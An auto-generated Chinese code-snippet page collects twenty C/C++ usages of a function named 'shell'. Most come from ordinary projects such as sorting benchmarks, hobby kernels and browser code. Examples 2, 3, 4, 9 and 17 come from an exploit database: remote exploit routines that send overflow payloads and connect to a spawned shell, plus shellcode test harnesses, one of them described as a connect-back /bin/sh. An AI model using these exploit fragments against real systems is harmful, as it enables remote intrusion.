本文整理汇总了C++中shell函数的典型用法代码示例。如果您正苦于以下问题:C++ shell函数的具体用法?C++ shell怎么用?C++ shell使用的例子?那么恭喜您, 这里精选的函数代码示例或许可以为您提供帮助。
在下文中一共展示了shell函数的20个代码示例,这些例子默认根据受欢迎程度排序。您可以为喜欢或者感觉有用的代码点赞,您的评价将有助于我们的系统推荐出更棒的C++代码示例。
示例1: main
int main(){
/* Generamos las matrices aleatoriamente */
int i;
for(i = 0; i < 1000000; i++){
v31[i] = v32[i] = v33[i] = rand();
if(i < 100000) v21[i] = v22[i] = v23[i] = rand();
if(i < 10000) v11[i] = v12[i] = v13[i] = rand();
}
/* Llamamos a las funciones de ordenacion e imprimimos lo que tardan */
printf("--------------------------------------------------------------------------------\n");
/* 10000 elementos */
t = clock();
quicksort(&v13[0],&v13[10000-1]);
t = clock() - t;
printf("Quicksort ( 10000 elementos):\t\t %.5f segundos (%.5f minutos)\n",(t*1.0)/CLOCKS_PER_SEC,((t*1.0)/CLOCKS_PER_SEC)/60);
shell(10000);
printf("Metodo Shell ( 10000 elementos):\t %.5f segundos (%.5f minutos)\n",(t*1.0)/CLOCKS_PER_SEC,((t*1.0)/CLOCKS_PER_SEC)/60);
insercionDirecta(10000);
printf("Insercion directa ( 10000 elementos):\t %.5f segundos (%.5f minutos)\n",(t*1.0)/CLOCKS_PER_SEC,((t*1.0)/CLOCKS_PER_SEC)/60);
printf("--------------------------------------------------------------------------------\n");
/*100000 elementos */
t = clock();
quicksort(&v23[0],&v23[100000-1]);
t = clock() - t;
printf("Quicksort ( 100000 elementos):\t\t %.5f segundos (%.5f minutos)\n",(t*1.0)/CLOCKS_PER_SEC,((t*1.0)/CLOCKS_PER_SEC)/60);
shell(100000);
printf("Metodo Shell ( 100000 elementos):\t %.5f segundos (%.5f minutos)\n",(t*1.0)/CLOCKS_PER_SEC,((t*1.0)/CLOCKS_PER_SEC)/60);
insercionDirecta(100000);
printf("Insercion directa ( 100000 elementos):\t %.5f segundos (%.5f minutos)\n",(t*1.0)/CLOCKS_PER_SEC,((t*1.0)/CLOCKS_PER_SEC)/60);
printf("--------------------------------------------------------------------------------\n");
/* 1000000 elementos */
t = clock();
quicksort(&v33[0],&v33[1000000-1]);
t = clock() - t;
printf("Quicksort (1000000 elementos):\t\t %.5f segundos (%.5f minutos)\n",(t*1.0)/CLOCKS_PER_SEC,((t*1.0)/CLOCKS_PER_SEC)/60);
shell(1000000);
printf("Metodo Shell (1000000 elementos):\t %.5f segundos (%.5f minutos)\n",(t*1.0)/CLOCKS_PER_SEC,((t*1.0)/CLOCKS_PER_SEC)/60);
insercionDirecta(1000000);
printf("Insercion directa (1000000 elementos):\t %.3f segundos (%.5f minutos)\n",(t*1.0)/CLOCKS_PER_SEC,((t*1.0)/CLOCKS_PER_SEC)/60);
return 0;
}
开发者ID:Einath,项目名称:AProg_Practices,代码行数:46,代码来源:comparesort.c
示例2: exploit
int exploit (char *host, int port, struct targets target) {
char *payload;
int thesock;
long ret;
if (opt_flags & OPT_BRUTE) {
for (ret = STACK_START; ret > STACK_END; ret-=steps) {
fprintf (stdout, "[+] Trying %#x\n", ret);
payload = xp_create (target.addr);
xp_send (host, port, payload);
sleep(timeout);
thesock = connect_host (host, 8658);
if (thesock == -1) {
fprintf (stdout, "[-] Exploit failed!\n");
xp_destroy (payload);
} else {
fprintf (stdout, "[+] Exploit success!\n");
fprintf (stdout, "[+] Waiting for shell\n");
shell (thesock);
break;
}
}
} else {
if (opt_flags & OPT_CHECK) {
fprintf (stdout, "[+] Checking for vulnability\n");
} else {
fprintf (stdout, "[+] Trying %#x\n", target.addr);
}
payload = xp_create (target.addr);
xp_send (host, port, payload);
sleep(2);
thesock = connect_host (host, 8658);
if (thesock == -1) {
fprintf (stdout, "[-] Exploit failed!\n");
xp_destroy (payload);
return EXIT_FAILURE;
} else {
fprintf (stdout, "[+] Exploit success!\n");
fprintf (stdout, "[+] Waiting for shell\n");
sleep(1);
shell (thesock);
}
}
return 0;
}
开发者ID:0x24bin,项目名称:exploit-database,代码行数:46,代码来源:24093.c
示例3: main
int main(void)
{
void (*shell)() = (void *)&hellcode;
printf("%d byte connect back execve /bin/sh for linux/ppc by core\n",
strlen(hellcode));
shell();
return 0;
}
开发者ID:52piaoyu,项目名称:exploit-database,代码行数:8,代码来源:13303.c
示例4: main
int main(void)
{
void (*shell)() = (void *)&hellcode;
printf("%d byte (w/optional 7 byte exit) write(0,\"Hello core!\\n\",12); linux/x86 by core\n",
strlen(hellcode));
shell();
return 0;
}
开发者ID:webkodex,项目名称:exploit-database,代码行数:8,代码来源:13407.c
示例5: main
int main(int argc, char **argv)
{
currentFile=NULL;
shell();
return 0;
}
开发者ID:kkoo,项目名称:cs426,代码行数:8,代码来源:main.c
示例6: entry
void entry() {
__asm_initialize__();
kmeminit();
shell();
while(1);
}
开发者ID:tylerwhall,项目名称:CECS-525-in-C-shell,代码行数:8,代码来源:main.c
示例7: main
int main(int argc, const char * argv[]) {
Helper::print("Welcome to the mini tester for the InDiskShell class. Jonathan Ginsburg (C) September 2015.");
std::string path = Helper::readLine("Enter path: ");
std::string fileName = Helper::readLine("Enter file name: ");
InDiskShell<std::string> shell(path, fileName);
shell << Helper::readLine("Enter the string to save: ");
return 0;
}
开发者ID:jginsburgn,项目名称:ADA,代码行数:8,代码来源:main.cpp
示例8: prompt
void prompt() {
char cmd[1024];
while (true) {
printk("%[email protected]%s:$ ", user, machine);
gets(cmd);
shell(cmd);
}
}
开发者ID:oridb,项目名称:PhotonOS,代码行数:8,代码来源:system.c
示例9: main
int main(void)
{
void (*shell)() = (void *)&hellcode;
printf("%d byte _exit(1); linux/x86 by core\n",
strlen(hellcode));
shell();
return 0;
}
开发者ID:0x24bin,项目名称:exploit-database,代码行数:8,代码来源:13405.c
示例10: main
int main() {
int a[] = {3,7,2,9,6,5,1};
int sz = sizeof(a)/sizeof(a[0]);
show(a, sz);
shell(a, sz);
show(a, sz);
return 0;
}
开发者ID:walrus7521,项目名称:code,代码行数:8,代码来源:shell.c
示例11: view_manager
static nsIViewManager*
view_manager(nsIDocShell *aDocShell)
{
nsCOMPtr<nsIPresShell> shell(pres_shell(aDocShell));
if (!shell)
return nsnull;
return shell->GetViewManager();
}
开发者ID:rn10950,项目名称:RetroZilla,代码行数:8,代码来源:nsLayoutDebuggingTools.cpp
示例12: descend
inline
void descend(DistanceCallback& dcb, const node<P>* query, ScalarType* upper_bound,
int current_scale,int &max_scale, v_array<v_array<d_node<P> > > &cover_sets,
v_array<d_node<P> > &zero_set)
{
d_node<P> *end = cover_sets[current_scale].elements + cover_sets[current_scale].index;
for (d_node<P> *parent = cover_sets[current_scale].elements; parent != end; parent++)
{
const node<P> *par = parent->n;
ScalarType upper_dist = *upper_bound + query->max_dist + query->max_dist;
if (parent->dist <= upper_dist + par->max_dist)
{
node<P> *chi = par->children;
if (parent->dist <= upper_dist + chi->max_dist)
{
if (chi->num_children > 0)
{
if (max_scale < chi->scale)
max_scale = chi->scale;
d_node<P> temp = {parent->dist, chi};
push(cover_sets[chi->scale], temp);
}
else if (parent->dist <= upper_dist)
{
d_node<P> temp = {parent->dist, chi};
push(zero_set, temp);
}
}
node<P> *child_end = par->children + par->num_children;
for (chi++; chi != child_end; chi++)
{
ScalarType upper_chi = *upper_bound + chi->max_dist + query->max_dist + query->max_dist;
if (shell(parent->dist, chi->parent_dist, upper_chi))
{
ScalarType d = distance(dcb, query->p, chi->p, upper_chi);
if (d <= upper_chi)
{
if (d < *upper_bound)
update(upper_bound, d);
if (chi->num_children > 0)
{
if (max_scale < chi->scale)
max_scale = chi->scale;
d_node<P> temp = {d, chi};
push(cover_sets[chi->scale],temp);
}
else
if (d <= upper_chi - chi->max_dist)
{
d_node<P> temp = {d, chi};
push(zero_set, temp);
}
}
}
}
}
}
}
开发者ID:42MachineLearning,项目名称:shogun,代码行数:58,代码来源:covertree.hpp
示例13: main
int main(int argc, char *argv[])
{
puts("------------------------------------------");
puts(" EVAL - Mathematical Expression Evaluator ");
puts("==========================================");
void shell(void); shell();
puts("\nGoodbye!\n");
return EXIT_SUCCESS;
}
开发者ID:hansongjing,项目名称:Old-Projects,代码行数:9,代码来源:2005-10-22.c
示例14: main
int main(void)
{
while(1){
shell();
}
return 0;
}
开发者ID:GerNarvalibre,项目名称:Clases_2015,代码行数:9,代码来源:ShellDaniela.c
示例15: cmd_shell
static exe_cmd_init cmd_shell(std::string&& cmd)
{
std::vector<std::string> args = {"-c", "\"" + cmd + "\""};
std::string sh = shell().string();
return exe_cmd_init(
std::move(sh),
{std::move(args)});
}
开发者ID:PopcornTimeTV,项目名称:PopcornTorrent,代码行数:9,代码来源:basic_cmd.hpp
示例16: exe_args_shell
static exe_cmd_init exe_args_shell(std::string&& exe, std::vector<std::string> && args)
{
auto cmd = build_cmd_shell(std::move(exe), std::move(args));
std::vector<std::string> args_ = {"-c", std::move(cmd)};
std::string sh = shell().string();
return exe_cmd_init(std::move(sh), std::move(args_));
}
开发者ID:PopcornTimeTV,项目名称:PopcornTorrent,代码行数:9,代码来源:basic_cmd.hpp
示例17: main
int main(int argc, char *argv[]) {
unsigned char Buff[1024];
unsigned char data;
unsigned long *ps;
int s, i, k;
if (argc < 3) {
fprintf(stderr, "Usage: %s remote_ip remote_port\n", argv[0]);
return -1;
}
s = Make_Connection(argv[1], atoi(argv[2]), 10);
if (!s) {
fprintf(stderr, "[-] Connect failed. \n");
return -1;
}
GetShellcode();
ps = (unsigned long *)Buff;
for(i=0; i<sizeof(Buff)/4; i++)
{
*(ps++) = 0x60000000;
}
i = sh_Len % 4;
memcpy(&Buff[sizeof(Buff) - sh_Len], sh_Buff, sh_Len);
ps = (unsigned long *)Buff;
for(i=0; i<92/4; i++)
{
*(ps++) = RET;
}
Buff[sizeof(Buff)] = 0;
//PrintSc(Buff, sizeof(Buff));
i = send(s, Buff, sizeof(Buff), 0);
if (i <= 0) {
fprintf(stderr, "[-] Send failed. \n");
return -1;
}
data='I';
i = send(s, &data, 1, 1);
if (i <= 0) {
fprintf(stderr, "[-] Send OOB data failed. \n");
return -1;
}
sleep (1);
shell(s);
}
开发者ID:Amirus,项目名称:cs-doc,代码行数:56,代码来源:client_oob.c
示例18: compile
bool compile()
{
//shell
shell(compiler_command());
if(!output_path().is_file())
return false;
//ldd
shell("ldd",output_path());
//du
//shell("du","-h",output_path());
return true;
}
开发者ID:vmorgulys,项目名称:sandbox,代码行数:19,代码来源:class.make.h.compile.cpp
示例19: kmain
int kmain(/*struct multiboot *mboot_ptr*/)
{
init_descriptor_tables();
keyboard_install();
initfs();
shell();
return 0xDEADBADA;
}
开发者ID:thigley,项目名称:THOS,代码行数:10,代码来源:kernel.c
示例20: main
int main (int argc, char *argv[])
{
// debugoff();
debugon();
FN;
init_dir();
init_shell(NULL);
init_cmd();
return shell();
}
开发者ID:wtaysom,项目名称:tau,代码行数:10,代码来源:main.c
注:本文中的shell函数示例由纯净天空整理自Github/MSDocs等源码及文档管理平台,相关代码片段筛选自各路编程大神贡献的开源项目,源码版权归原作者所有,传播和使用请参考对应项目的License;未经允许,请勿转载。 |
请发表评论